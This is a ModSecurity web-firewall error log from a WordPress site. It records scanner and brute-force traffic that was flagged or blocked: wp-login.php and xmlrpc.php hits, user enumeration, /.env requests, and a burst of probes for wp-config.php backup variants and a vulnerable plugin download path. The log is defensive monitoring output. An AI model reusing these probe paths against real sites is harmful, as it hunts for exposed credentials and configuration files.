[Sun Dec 07 18:43:03.916329 2025] [:error] [pid 25602:tid 25664] [client 65.20.99.159:55722] [client 65.20.99.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.20.99.159, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTVaNxMayYLriq9gRdf8mQAAAMI"]
[Sun Dec 07 18:46:29.852819 2025] [:error] [pid 39560:tid 39586] [client 136.112.117.202:53756] [client 136.112.117.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.112.117.202, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTVbBStL21FvSzcnpi1S3wAAAVg"]
[Sun Dec 07 18:46:33.440342 2025] [:error] [pid 39560:tid 39581] [client 136.112.117.202:53756] [client 136.112.117.202] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTVbCStL21FvSzcnpi1S4gAAAVM"]
[Sun Dec 07 18:46:34.900875 2025] [:error] [pid 39560:tid 39567] [client 136.112.117.202:53756] [client 136.112.117.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.112.117.202, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTVbCitL21FvSzcnpi1S5AAAAUU"]
[Sun Dec 07 18:46:36.892231 2025] [:error] [pid 39560:tid 39562] [client 136.112.117.202:57633] [client 136.112.117.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.112.117.202, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTVbDCtL21FvSzcnpi1S5wAAAUA"]
[Sun Dec 07 18:46:38.821507 2025] [:error] [pid 25694:tid 25719] [client 136.112.117.202:55212] [client 136.112.117.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.112.117.202, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTVbDkf7996cewJ5N29PzQAAARc"]
[Sun Dec 07 18:46:40.859802 2025] [:error] [pid 39560:tid 39578] [client 136.112.117.202:54667] [client 136.112.117.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.112.117.202, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTVbECtL21FvSzcnpi1S9QAAAVA"]
[Sun Dec 07 18:46:40.865993 2025] [:error] [pid 39560:tid 39578] [client 136.112.117.202:54667] [client 136.112.117.202] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at IP. [file "/usr/local/apache/modsecurity-cwaf/rules/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 136.112.117.202 (+1 hits since last alert)|gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTVbECtL21FvSzcnpi1S9QAAAVA"]
[Sun Dec 07 19:09:40.107930 2025] [:error] [pid 36068:tid 36084] [client 66.175.44.31:60738] [client 66.175.44.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.44.31, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTVgdFGuxqM4ZYob8lMSmQAAAA4"]
[Sun Dec 07 19:09:45.936041 2025] [:error] [pid 36068:tid 36078] [client 66.175.44.31:60738] [client 66.175.44.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.44.31, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTVgeVGuxqM4ZYob8lMSoQAAAAg"], referer: https://gigfragments.org/wp-login.php
[Sun Dec 07 19:39:09.551341 2025] [:error] [pid 39560:tid 39579] [client 20.205.121.133:17352] [client 20.205.121.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aTVnXStL21FvSzcnpi1kQAAAAVE"]
[Sun Dec 07 19:39:12.087162 2025] [:error] [pid 25600:tid 25623] [client 20.205.121.133:17361] [client 20.205.121.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aTVnYIX3SVrXRURpt5JyEQAAAFA"]
[Sun Dec 07 19:39:16.052769 2025] [:error] [pid 25601:tid 25657] [client 20.205.121.133:17348] [client 20.205.121.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aTVnZKtsSIqGPs4YVxFoJwAAAJY"]
[Sun Dec 07 19:39:19.457424 2025] [:error] [pid 25601:tid 25647] [client 20.205.121.133:17365] [client 20.205.121.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aTVnZ6tsSIqGPs4YVxFoLwAAAIw"]
[Sun Dec 07 19:54:02.863248 2025] [:error] [pid 5312:tid 5315] [client 159.223.19.114:61124] [client 159.223.19.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.19.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTVq2uaM49rasZGg_o7qJQAAAAE"]
[Sun Dec 07 19:54:02.865750 2025] [:error] [pid 5223:tid 5277] [client 159.223.19.114:61125] [client 159.223.19.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.19.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTVq2voRJa-T0FB0DNrZfwAAAJc"]
[Sun Dec 07 19:55:01.791485 2025] [:error] [pid 5312:tid 5338] [client 159.223.19.114:51005] [client 159.223.19.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.19.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTVrFeaM49rasZGg_o7qoAAAABg"]
[Sun Dec 07 19:55:01.793477 2025] [:error] [pid 5312:tid 5315] [client 159.223.19.114:51004] [client 159.223.19.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.19.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTVrFeaM49rasZGg_o7qoQAAAAE"]
[Sun Dec 07 21:01:13.048444 2025] [:error] [pid 5222:tid 5233] [client 167.172.161.199:58956] [client 167.172.161.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.172.161.199, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTV6md8FU0HgkYWmt7s9EAAAAEc"]
[Sun Dec 07 21:01:13.054977 2025] [:error] [pid 5222:tid 5247] [client 167.172.161.199:58955] [client 167.172.161.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.172.161.199, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTV6md8FU0HgkYWmt7s9EQAAAFU"]
[Sun Dec 07 21:02:20.360373 2025] [:error] [pid 5223:tid 5277] [client 167.172.161.199:49510] [client 167.172.161.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.172.161.199, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTV63PoRJa-T0FB0DNroQwAAAJc"]
[Sun Dec 07 21:02:20.360710 2025] [:error] [pid 5312:tid 5314] [client 167.172.161.199:49519] [client 167.172.161.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.172.161.199, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTV63OaM49rasZGg_o78CQAAAAA"]
[Sun Dec 07 21:39:18.000820 2025] [:error] [pid 5222:tid 5232] [client 136.144.35.219:21683] [client 136.144.35.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aTWDht8FU0HgkYWmt7tD7AAAAEY"]
[Sun Dec 07 21:54:25.473736 2025] [:error] [pid 5222:tid 5237] [client 109.234.164.79:34578] [client 109.234.164.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.234.164.79, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTWHEd8FU0HgkYWmt7tG-QAAAEs"]
[Sun Dec 07 21:59:27.030320 2025] [:error] [pid 9610:tid 9626] [client 121.133.113.48:63465] [client 121.133.113.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.133.113.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTWIP8Z4Zl9G0UhQ7w1C3QAAAQ4"]
[Sun Dec 07 22:04:51.159607 2025] [:error] [pid 9610:tid 9630] [client 121.133.113.48:53215] [client 121.133.113.48] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aTWJg8Z4Zl9G0UhQ7w1EUgAAARI"]
[Sun Dec 07 22:06:41.581749 2025] [:error] [pid 5222:tid 5235] [client 121.133.113.48:62410] [client 121.133.113.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.133.113.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTWJ8d8FU0HgkYWmt7tJkQAAAEk"]
[Sun Dec 07 22:08:17.550995 2025] [:error] [pid 5222:tid 5246] [client 38.246.32.211:62476] [client 38.246.32.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.32.211, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTWKUd8FU0HgkYWmt7tJygAAAFQ"]
[Sun Dec 07 22:08:17.552129 2025] [:error] [pid 9961:tid 9974] [client 38.246.32.211:62474] [client 38.246.32.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.32.211, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTWKUWQdnfbgcnzr89JvTQAAAUs"]
[Sun Dec 07 22:08:37.599693 2025] [:error] [pid 5223:tid 5273] [client 121.133.113.48:61280] [client 121.133.113.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.133.113.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTWKZfoRJa-T0FB0DNr1uAAAAJM"]
[Sun Dec 07 22:09:36.238591 2025] [:error] [pid 9610:tid 9618] [client 38.246.32.211:53432] [client 38.246.32.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.32.211, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTWKoMZ4Zl9G0UhQ7w1FvAAAAQY"]
[Sun Dec 07 22:09:36.239094 2025] [:error] [pid 5312:tid 5321] [client 38.246.32.211:53427] [client 38.246.32.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.32.211, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTWKoOaM49rasZGg_o4KRgAAAAc"]
[Sun Dec 07 22:10:27.011408 2025] [:error] [pid 9961:tid 9979] [client 121.133.113.48:62451] [client 121.133.113.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.133.113.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTWK02Qdnfbgcnzr89Jv_QAAAVA"]
[Sun Dec 07 22:12:18.198001 2025] [:error] [pid 5223:tid 5263] [client 121.133.113.48:61925] [client 121.133.113.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.133.113.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTWLQvoRJa-T0FB0DNr2QAAAAIk"]
[Sun Dec 07 22:20:32.829825 2025] [:error] [pid 9610:tid 9624] [client 66.175.44.57:38074] [client 66.175.44.57] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.44.57, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTWNMMZ4Zl9G0UhQ7w1IHAAAAQw"]
[Sun Dec 07 22:21:03.643849 2025] [:error] [pid 5222:tid 5234] [client 66.175.44.57:53062] [client 66.175.44.57] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.44.57, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTWNT98FU0HgkYWmt7tMJQAAAEg"]
[Sun Dec 07 22:21:09.152289 2025] [:error] [pid 5222:tid 5246] [client 66.175.44.57:53062] [client 66.175.44.57] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.44.57, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTWNVd8FU0HgkYWmt7tMJwAAAFQ"], referer: https://gigfragments.org/wp-login.php
[Sun Dec 07 23:15:07.403868 2025] [:error] [pid 9610:tid 9624] [client 68.183.218.144:55333] [client 68.183.218.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.183.218.144, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTWZ-8Z4Zl9G0UhQ7w1X1gAAAQw"]
[Sun Dec 07 23:15:07.417176 2025] [:error] [pid 9610:tid 9636] [client 68.183.218.144:55330] [client 68.183.218.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.183.218.144, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTWZ-8Z4Zl9G0UhQ7w1X1wAAARg"]
[Sun Dec 07 23:16:10.694492 2025] [:error] [pid 5312:tid 5314] [client 68.183.218.144:62291] [client 68.183.218.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.183.218.144, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTWaOuaM49rasZGg_o4argAAAAA"]
[Sun Dec 07 23:16:10.708662 2025] [:error] [pid 5224:tid 5297] [client 68.183.218.144:62290] [client 68.183.218.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.183.218.144, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTWaOvAAkbWt7RJBoF8B2wAAANA"]
[Sun Dec 07 23:34:59.146539 2025] [:error] [pid 5223:tid 5257] [client 159.26.110.84:21091] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aTWeo_oRJa-T0FB0DNoIRwAAAIM"]
[Sun Dec 07 23:35:00.750344 2025] [:error] [pid 5312:tid 5329] [client 159.26.110.84:32560] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.bak"] [unique_id "aTWepOaM49rasZGg_o4gJQAAAA8"]
[Sun Dec 07 23:35:02.377310 2025] [:error] [pid 5222:tid 5235] [client 159.26.110.84:3876] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aTWept8FU0HgkYWmt7tbfgAAAEk"]
[Sun Dec 07 23:35:04.007678 2025] [:error] [pid 5224:tid 5303] [client 159.26.110.84:22980] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php~"] [unique_id "aTWeqPAAkbWt7RJBoF8GvQAAANY"]
[Sun Dec 07 23:35:05.641996 2025] [:error] [pid 5312:tid 5316] [client 159.26.110.84:18970] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.save"] [unique_id "aTWeqeaM49rasZGg_o4gKQAAAAI"]
[Sun Dec 07 23:35:07.253653 2025] [:error] [pid 5223:tid 5266] [client 159.26.110.84:16037] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.old"] [unique_id "aTWeq_oRJa-T0FB0DNoITAAAAIw"]
[Sun Dec 07 23:35:08.984214 2025] [:error] [pid 5223:tid 5276] [client 159.26.110.84:13158] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.phpe"] [unique_id "aTWerPoRJa-T0FB0DNoITQAAAJY"]
[Sun Dec 07 23:35:10.633391 2025] [:error] [pid 9961:tid 9976] [client 159.26.110.84:16811] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php_old"] [unique_id "aTWermQdnfbgcnzr89KPwgAAAU0"]
[Sun Dec 07 23:35:12.240289 2025] [:error] [pid 9961:tid 9965] [client 159.26.110.84:18145] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aTWesGQdnfbgcnzr89KPxAAAAUI"]
[Sun Dec 07 23:35:13.868760 2025] [:error] [pid 5312:tid 5332] [client 159.26.110.84:10677] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.phpOLD"] [unique_id "aTWeseaM49rasZGg_o4gLwAAABI"]
[Sun Dec 07 23:35:15.517117 2025] [:error] [pid 5222:tid 5232] [client 159.26.110.84:47510] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php_"] [unique_id "aTWes98FU0HgkYWmt7tbigAAAEY"]
[Sun Dec 07 23:35:17.186907 2025] [:error] [pid 9961:tid 9974] [client 159.26.110.84:21749] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php1"] [unique_id "aTWetWQdnfbgcnzr89KPzAAAAUs"]
[Sun Dec 07 23:35:18.847686 2025] [:error] [pid 9961:tid 9965] [client 159.26.110.84:55567] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.backup"] [unique_id "aTWetmQdnfbgcnzr89KP1AAAAUI"]
[Sun Dec 07 23:35:20.530444 2025] [:error] [pid 9961:tid 9969] [client 159.26.110.84:54539] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.org"] [unique_id "aTWeuGQdnfbgcnzr89KP2wAAAUY"]
[Sun Dec 07 23:35:22.122910 2025] [:error] [pid 9961:tid 9972] [client 159.26.110.84:37978] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/cherry-plugin/admin/import-export/download-content.php"] [unique_id "aTWeumQdnfbgcnzr89KP3gAAAUk"]
